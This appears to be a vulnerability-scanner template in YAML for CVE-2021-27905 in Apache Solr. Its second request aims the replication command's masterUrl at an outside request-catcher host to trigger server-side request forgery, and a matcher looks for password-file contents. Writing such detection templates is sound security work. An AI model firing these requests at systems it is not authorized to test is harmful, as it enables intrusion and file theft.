id: CVE-2021-27905

info:
  name: Apache Solr <= 8.8.1 SSRF & Arbitrary File Read
  author: hackergautam
  severity: critical
  tags: cve2021-27905,lfi,apache,solr,ssrf
  reference: |
      
      - https://nvd.nist.gov/vuln/detail/CVE-2021-27905

requests:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Connection: close

      - |
        GET /solr/%7Bcore%7D/replication/?command=fetchindex&masterUrl=https://bugbounty.requestcatcher.com/ssrf HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Connection: close

    extractors:
      - type: regex
        regex:
          - '"status"\:\{"(.*?)"\:\{"name"'
        name: collection
        group: 1
        internal: true

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
